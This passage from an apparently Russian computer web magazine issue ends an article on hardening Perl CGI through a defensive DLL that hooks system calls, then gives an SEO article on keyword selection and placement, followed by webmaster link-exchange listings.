Ассемблерная вставка делает переход, куда надо. Теперь ругательные сообщения прекратились, и изменений в работе Perl не видно. Зато мы достигли важного результата: наша dll стала полноправным членом (если не мозгом) исполняемого процесса Perl.exe. Дальнейшее становится делом техники (точнее, системных вызовов Windows API и нескольких "точечных" замен в таблице импорта Perl56.dll). Вы можете взять готовый код и посмотреть, что у меня получилось.
Вы можете спросить: как я узнал, какие DLL и функции импортирует программа? Ответ прост: dumpbin.exe из студии разработки Microsoft.
Пример вызова этой утилиты из командной строки:
dumpbin.exe /imports perl.exe
"За кадром" остались такие специальные вопросы, как формат таблицы импорта Windows-программы. Отчасти эту информацию можно получить в комментариях исходного кода, а отчасти - из литературы. Кстати, полезные для начинающих хакеров источники (например, книги Криса Касперски, Джеффри Рихтера и Мэтта Питрека) можно скорее найти в сети Internet, чем в книжных магазинах, где их почему-то очень быстро раскупают. :-)
Заключение
Мы попытались защитить Perl - один из наиболее популярных (хотя и несколько эклектичных) :-) языков для работы с CGI - от атак из Internet. Мы делали это на разных уровнях:
- Фильтрацией пользовательского ввода
- Ограничением прав доступа
- Заменой подстрок в теле программы
- Перехватом системных вызовов
Возможны еще два уровня защиты:
- Перекомпиляция Perl
- Перекомпиляция ядра операционной системы.
Эффективность защиты во всех рассмотренных случаях идет "по нарастающей".
Разумеется, нам важна не просто перекомпиляция, а перекомпиляция с внедрением защитных проверок. Наша цель - внедрить эти проверки тем или иным способом, пусть даже антигуманным и "хакерским". При помощи деревянного молоточка.
А авторы дистрибутивов уже сами разберутся, включать ли защитные опции в состав своих продуктов, и активизировать ли их по умолчанию. :-)
Раздел "Веб-мастеру". Обмен ссылками:
 | Keywords - ключевой фактор успеха |
|
Ни для кого не секрет, что оптимизация сайта для поисковых машин является мощным средством привлечения на него целевой аудитории. Статья посвящена одному из аспектов оптимизации, а именно, подбору и размещению ключевых слов как в тэге keywords, так и непосредственно в контенте сайта.
Первоначально понятие ключевого слова ассоциируется с тэгом keywords. Элемент keywords был придуман для облегчения работы поисковой системы при индексации сайтов. Вебмастер составлял список ключевых слов, которые, по его мнению, отражали тематику страницы и сайта, а робот, индексируя страницу, собирал не только видимый текст, но и содержимое keywords. При оценке релевантности страниц, больший вес, и, соответственно, более высокую позицию в результатах поиска, получала та страница, keywords которой содержал запрашиваемое слово.
Алгоритмы поисковых машин постоянно совершенствуются, поэтому трудно сказать, что ожидает элемент keywords в ближайшем будущем. Намечается тенденция отказа поисковиков от анализа содержимого этого тэга. Например, согласно "уставу" Rambler'а при индексации учитывается лишь та информация, которую пользователь может увидеть на странице, т.е. скрытые поля <meta name="keywords"...> и все другие поля <meta...>, кроме <meta name="robots"...>, при индексировании сайтов игнорируются. Однако, не смотря на заявления, что keywords уже нигде и никак не используется, его все же не стоит игнорировать.
В Keywords вписывают ключевые слова, присутствующие в тексте страницы и имеющие отношение к теме сайта. Для каждой страницы необходимо составлять свой собственный набор ключевых слов, наиболее характерный для описываемого текста. Не желательно заполнять тэг слишком распространенными словами. Например: программы, компьютеры, интернет. Поисковые системы их просто игнорируют, т.к. ими загружены миллионы документов. Так же, не стоит включать служебные слова (предлоги, союзы и т.д.), повторять слова два и более раз, записывать слова во множественном числе. Очередность слов составляется по степени важности в порядке убывания. Слова достаточно отделять друг от друга пробелами: запятые здесь не нужны. Слова с прописной буквы не надо дублировать словами с заглавной за исключением аббревиатур, личных имен, названий компаний, торговых марок и т.д. Обычно последовательность ключевых слов включает не более 250 символов. Избыточные символы просто не учитываются поисковыми системами. Если сайт содержит очень много страниц, не стоит подготавливать описание для каждой из них. Лучше отобрать наиболее важные страницы (15-30 шт.) и прописать кeywords в них.
Теперь перейдем к рассмотрению размещения ключевых слов уже непосредственно в тексте сайта и выделим наиболее значимые области оптимизации страниц. Для этого необходимо ввести понятие релевантности, обычно определяемое следующим образом: "При поиске в интернете важны две составляющие - полнота (ничего не потеряно) и точность (не найдено ничего лишнего). Обычно это все называют одним словом - релевантность, то есть соответствие ответа вопросу". Сейчас между поисковыми машинами идет достаточно жесткая конкуренция, поэтому, постоянно совершенствуя алгоритмы поиска, они стараются выдавать ответы, наиболее релевантные запросам пользователей.
На релевантность слова значительно влияет частота его использования в тэгах <h1>, <h2> ..., применяемых для выделения заголовков и подзаголовков текста. Размещение текста, содержащего ключевые слова, в заголовках значительно повышает релевантность страницы в поисковой системе. Оптимальным вариантом в данном случае будет размещение ключевой фразы, форматированной как h1 или h2, в самом начале страницы. Здесь рекомендуется использовать только ключевое слово или ключевую фразу без добавления других слов.
Использование в коде страницы alt-тэгов, содержащих ключевые слова, также используется для повышения рейтинга страницы в листе ответов поисковой системы. Тэг <alt> применяется для отображения браузером альтернативного текста, назначаемого для изображений, на случай работы пользователя в режиме с отключенной графикой.
Для некоторых поисковых систем немаловажно наличие ключевых слов в тексте ссылок, во всплывающих подсказках (тэг <acronym>), а также выделение их полужирным шрифтом.
Оптимизация содержания страницы, без правильного подбора ее заголовка, часто становится мало эффективной. Слова в заголовках имеют большой вес у пауков поисковых машин, а также в системах индексации в каталогах, что может серьезно повысить рейтинг страницы. Таким образом, правильно сделанный заголовок страницы - половина успеха. Ключевые слова включают в заголовок страницы согласно следующему принципу. В дополнение к ключевому слову или фразе включают и другие слова с учетом, что на одно ключевое слово или фразу из двух слов длина заголовка должна быть 3-5 слов. Поисковые системы в листе ответов используют текст заголовка страницы для оформления ссылки на сайт, соответствующий запросу пользователя. Поэтому именно по заголовку пользователь составляет первое впечатление о сайте и решает: идти ему на него или нет.
Т.о. подбор ключевых слов и их правильное размещение в контенте - один из важнейших этапов оптимизации ресурса. В следующем номере мы рассмотрим статистику по ключевым словам, а именно: их вес, плотность и расположение на странице.
При анализе размещения ключевых слов в тексте сайта обычно используют такие понятия как, вес ключевого слова, плотность и положение на странице.
Вес ключевого слова - отношение частоты использования ключевого слова к общему количеству слов на индексируемой странице, выраженное в процентах. В общем случае, увеличение веса ключевого слова на странице ведет к повышению ее релевантности. Но существует предел, превышение которого расценивается как спам и ведет к исключению страницы из индекса. Идеальной считается плотность ключевых слов в пределах 9-10 %, но небольшие отклонения значительной роли не играют. Но не все поисковые системы воспринимают значение веса как критически важное. Например, всеми любимый Google не слишком придирчив к плотности ключевых слов при условии, что ключевая фраза достаточно часто упомянута на самой странице.
Плотность ключевого слова - это показатель, учитывающий, не только сколько раз встречается ключевое слово на странице, но и как часто оно используется в определенном объеме текста. "Перебор" по плотности может быть расценен поисковой системой как спамдексинг, и страница будет исключена из индекса.
Положение ключевого слова на странице - показатель, учитывающий, как близко к началу страницы находится заданное ключевое слово. Как правило, чем ближе к началу страницы встречается слово запроса, тем релевантнее считается данная страница по данному слову. Обычно используют ключевые слова где-нибудь очень близко к началу страницы и упоминают его еще однажды достаточно близко к первому слову, равномерно рассеивая остальные ключевые слова по всей странице.
Один из важнейших этапов оптимизации - это подбор именно тех слов и словосочетаний, по которым пользователи чаще всего ищут подобные сайты. Обычно такие исследования проводят, основываясь на реальной статистике пользовательских запросов в поисковых системах.
Например, для выявления англоязычных запросов существуют такие сервисы, как Wordtracker (Wordtracker.com), которые в бесплатной версии выдают ограниченные отчеты по поисковым запросам.
Подобного сервиса, предоставляющего бесплатные отчеты запросов русскоязычных поисковых систем, к сожалению пока не существует. Поэтому, лучшими инструментами в подобной ситуации признаны системы "Яндекс.Директ" и "Рамблер-ассоциации".
"Рамблер-ассоциации" - это статистика поисковых запросов, работающая по принципу "Те, кто ищут [запрос пользователя], ищут также". Сервис предназначен в помощь пользователю, совершившему поиск по какому-либо запросу и не получившему нужной информации. Статистика "ассоциаций" помогает выяснить интересы пользователей, путем анализа списка запросов, схожих с основным. "Яндекс-Директ" - это текстовая реклама в результатах поиска по ключевым словам. С помощью услуги "Помощь в выборе ключевых слов и фраз", предоставляемой зарегистрированным пользователям, можно получить статистику запросов.
Например, согласно статистике, в интернете чаще всего ищут следующие модели телефонов Nokia (в порядке приоритета): nokia 3310, nokia 3650, nokia 7250, nokia 6610. Поэтому, было бы логично располагать эти слова в тексте страницы именно в этом порядке. Неотъемлимым этапом оптимизации сайта, я бы даже сказала стратегически важным, является изучение значений основных показателей по ключевым словам на сайтах-конкурентах. Т.е. ресурсах, которые стоят первыми в рейтинге при запросе по данной тематике. Здесь обычно придерживаются такого принципа: продвижение в первую очередь по высокочастотным, а уж потом - по уточняющим низкочастотным запросам. Для того, чтобы опередить конкурентов, чрезвычайно важной является хорошая позиции сайта в результатах выдачи по высокочастотным, как правило, одно- или двухсловным запросам. Именно с таких фраз обычно пользователь начинает поиск. Если после просмотра нескольких страниц нужная информация так и не найдена, пользователи уточняют свой запрос, вводя в строку поиска дополнительные ключевые слова.
Сегодня элемент keywords стал излюбленным местом для поискового спама. Умелые спаммеры пытаются извлекать из применения этого тэга максимальную выгоду. Для достижения высокого позиционирования, его стали заполнять не только повторными словами и фразами, но также включать слова, и вовсе отсутствующие в тексте сайта. Вот так появилось на свет явление спамдексинга (спама поисковых систем) - практики использования неэтичных и непрофессиональных методов улучшения положения ссылки на страницы в листах ответов поисковых систем. Рассмотрим некоторые методы cпамдексинга, которые необходимо избегать при оптимизации сайта по ключевым словам. Наиболее распространенный - это "начинка" текста ключевыми словами, для повышения их веса. Сегодня поисковые системы уже в состоянии рассчитывать баланс частот в тексте и исключать страницы с "ненормальной" частотой ключевых слов из поиска. Следующий способ - это "начинка" мета тэгов, т.е. повторение в тэге keywords ключевых слов больше одного раза и использование слов, которых нет в контенте сайта.
Все подобные деяния наказуемы поисковыми системами путем занесения "провинившегося" ресурса в "черные" списки.
Т.о., сделаем следующий вывод. Чтобы иметь реально работающий сайт необходимо:
1) четко определить, какие именно слова и фразы в строке поиска будут задавать потенциальные посетители ресурса;
2) оптимизировать сайт так, чтобы поисковая машина сочла его содержание наиболее релевантным ответом на запрос, введенный пользователем.
Особое внимание необходимо уделять не тэгу кeywords, а ключевым словам в контенте сайта. И не надо пытаться настроить сайт под большое количество запросов, обычно сайт оптимизируется под 1-3 слова или словосочетания.
 | Обмен ссылками: новые объявления |
|
Данная рубрика создана для помощи веб-мастерам. Здесь публикуются объявления по поводу обмена ссылками/кнопками. Если вы хотите опубликовать свое объявление - заполните специальную форму, находящуюся в конце страницы, и ваше объявление будет опубликовано не только в ближайшем номере Эбаута, но и на mostinfo.net и в рассылках этого сайта.
Название: Российский Кибер-Портал
Описание: GoldFaq.ru - Ежедневные компьютерные новости, варезный софт-каталог, библиотека компьютерной документации, форум, и многое другое...
Посещаемость: 350
Условия обмена: ИЦ выше 50, сайт не на бесплатном хостинге, обмен ссылками в разделах "партнёры" http://goldfaq.ru/friendz/
Контактное лицо: ner0x admin@goldfaq.ru
Название сайта: Самые свежие компьютерные новости
URL pcnews.fatal.ru
Описание: Самые свежие компьютерные новости: софт, железо, интернет, мобильники.
Посещаемость: хиты/хосты 40-120
Условия обмена: текстовая ссылка или кнопка
Тематика сайта для обмена: желательно компьютеры
Веб-мастер: Александр
E-mail для связи: galv85@mail.ru
Название сайта: FLASH KOT
URL: flash.lapin.ru
Описание: Флэш-игры и мульты. Все игры имеют описание + скриншот. Все игры можно скачать или играть в on-line.
Посещаемость: хиты/хосты 300/350
Условия обмена: Текстовые ссылки или кнопки в разделе ("Ссылки"). Возможны и другие варианты.
Тематика сайта для обмена: Игровые сайты
Веб-мастер: Морозов Алекс
E-mail для связи: flash@lapin.ru
Название сайта: Интернет-магазин Возьми.ру
URL: www.vozmi.ru
Описание: Продажа сейфов, металлических шкафов, мебели, ножей, сувениров, часов и оптики.
Посещаемость: 200-400
Условия обмена: Принимаются все сайты
Контактное лицо: Константин
E-MAIL: admin@vozmi.ru
Название сайта: FOREX / ФОРЕКС
URL: alipes.net.ru
Описание: Полный спектр услуг на рынке ФОРЕКС
Посещаемость: хиты/хосты - 7000/4000
Условия обмена (ссылки/кнопки и т.п.): текстовые ссылки любой тематики (кроме нарушающих законодательство США и Российской Федерации)
Тематика сайта для обмена: Форекс, Бизнес, Финансы, Инвестиции, Экономика
Веб-мастер: Ричанчик Алексей
E-mail для связи: a.richanchik@alipes.net
AboutPC+: Форма обмена ссылками (отправляется по e-mail) |
|